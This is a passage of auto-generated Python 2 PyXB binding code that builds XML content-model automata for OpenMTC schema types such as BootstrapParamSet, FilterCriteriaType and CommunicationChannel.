st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityMasFqdn')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'sclId')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'sclIdList')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd',
19, 12))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, True)]))
st_6._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
BootstrapParamSet._Automaton = _BuildAutomaton_18()
SearchStrings._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchString'),
pyxb.binding.datatypes.string, scope=SearchStrings,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 28,
4)))
def _BuildAutomaton_19():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_19
del _BuildAutomaton_19
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
22, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(SearchStrings._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchString')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
22, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
SearchStrings._Automaton = _BuildAutomaton_19()
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifModifiedSince'),
pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 34,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSince'),
pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 36,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifNoneMatch'),
pyxb.binding.datatypes.string, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 38,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'attributeAccessor'),
pyxb.binding.datatypes.anyURI, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 40,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'searchString'),
pyxb.binding.datatypes.string, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 41,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'createdAfter'),
pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 43,
12)))
FilterCriteriaType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'createdBefore'),
pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 45,
12)))
def _BuildAutomaton_20():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_20
del _BuildAutomaton_20
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
34, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
36, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
38, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
41, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
43, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
45, 12))
counters.add(cc_5)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifModifiedSince')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
34, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSince')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
36, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifNoneMatch')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
38, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'attributeAccessor')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
40, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'searchString')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
41, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'createdAfter')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
43, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag(
pyxb.namespace.ExpandedName(None, u'createdBefore')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
45, 12))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, True)]))
st_6._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
FilterCriteriaType._Automaton = _BuildAutomaton_20()
AnyURIList._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'reference'),
pyxb.binding.datatypes.anyURI, scope=AnyURIList,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
53, 12)))
def _BuildAutomaton_21():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_21
del _BuildAutomaton_21
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
53, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
AnyURIList._UseForTag(pyxb.namespace.ExpandedName(None, u'reference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
53, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
AnyURIList._Automaton = _BuildAutomaton_21()
AnnounceTo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'activated'),
pyxb.binding.datatypes.boolean, scope=AnnounceTo,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 68,
4)))
AnnounceTo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'sclList'), AnyURIList,
scope=AnnounceTo, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 69,
4)))
AnnounceTo._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'global'),
pyxb.binding.datatypes.boolean, scope=AnnounceTo,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 70,
4)))
def _BuildAutomaton_22():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_22
del _BuildAutomaton_22
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
62, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
64, 12))
counters.add(cc_1)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'activated')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
62, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'sclList')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
63, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'global')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
64, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
AnnounceTo._Automaton = _BuildAutomaton_22()
NamedReferenceCollection._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'namedReference'),
ReferenceToNamedResource, scope=NamedReferenceCollection,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 104,
4)))
def _BuildAutomaton_23():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_23
del _BuildAutomaton_23
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
91, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
NamedReferenceCollection._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'namedReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
91, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
NamedReferenceCollection._Automaton = _BuildAutomaton_23()
Schedule._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'scheduleString'), ScheduleString,
scope=Schedule, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 115,
4)))
def _BuildAutomaton_24():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_24
del _BuildAutomaton_24
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
110, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Schedule._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'scheduleString')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
110, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Schedule._Automaton = _BuildAutomaton_24()
TrpdtType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'tolerableDelay'),
pyxb.binding.datatypes.duration, scope=TrpdtType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 179,
12)))
TrpdtType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'tolerableTime'),
pyxb.binding.datatypes.time, scope=TrpdtType,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 181,
12)))
def _BuildAutomaton_25():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_25
del _BuildAutomaton_25
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
179, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
181, 12))
counters.add(cc_1)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(TrpdtType._UseForTag(
pyxb.namespace.ExpandedName(None, u'tolerableDelay')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
179, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(TrpdtType._UseForTag(
pyxb.namespace.ExpandedName(None, u'tolerableTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
181, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
TrpdtType._Automaton = _BuildAutomaton_25()
ActionStatus._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'action'),
pyxb.binding.datatypes.anyURI,
scope=ActionStatus,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
26, 12)))
ActionStatus._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'progress'),
STD_ANON, scope=ActionStatus,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
27, 12)))
ActionStatus._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'finalStatus'), FinalStatus,
scope=ActionStatus, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 35,
12)))
def _BuildAutomaton_26():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_26
del _BuildAutomaton_26
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(
ActionStatus._UseForTag(pyxb.namespace.ExpandedName(None, u'action')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
26, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(
ActionStatus._UseForTag(pyxb.namespace.ExpandedName(None, u'progress')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
27, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(ActionStatus._UseForTag(
pyxb.namespace.ExpandedName(None, u'finalStatus')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
35, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ActionStatus._Automaton = _BuildAutomaton_26()
AreaNwkTypeInfoSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'areaNwkTypeItem'),
NameValuePairItem, scope=AreaNwkTypeInfoSet,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 72,
4)))
def _BuildAutomaton_27():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_27
del _BuildAutomaton_27
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
67, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(AreaNwkTypeInfoSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'areaNwkTypeItem')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
67, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
AreaNwkTypeInfoSet._Automaton = _BuildAutomaton_27()
NameValuePairItem._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'name'),
pyxb.binding.datatypes.string,
scope=NameValuePairItem,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
81, 4)))
NameValuePairItem._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'value'),
pyxb.binding.datatypes.string,
scope=NameValuePairItem,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
83, 4)))
def _BuildAutomaton_28():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_28
del _BuildAutomaton_28
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(NameValuePairItem._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'name')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
76, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
symbol = pyxb.binding.content.ElementUse(NameValuePairItem._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'value')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd',
77, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
st_1._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
NameValuePairItem._Automaton = _BuildAutomaton_28()
CommunicationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=CommunicationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
CommunicationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=CommunicationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
CommunicationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contactURI'),
pyxb.binding.datatypes.anyURI, scope=CommunicationChannel,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136,
4)))
CommunicationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'channelType'), ChannelType,
scope=CommunicationChannel, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 138,
4)))
CommunicationChannel._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'channelData'), ChannelData,
scope=CommunicationChannel, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 146,
4)))
def _BuildAutomaton_29():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_29
del _BuildAutomaton_29
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
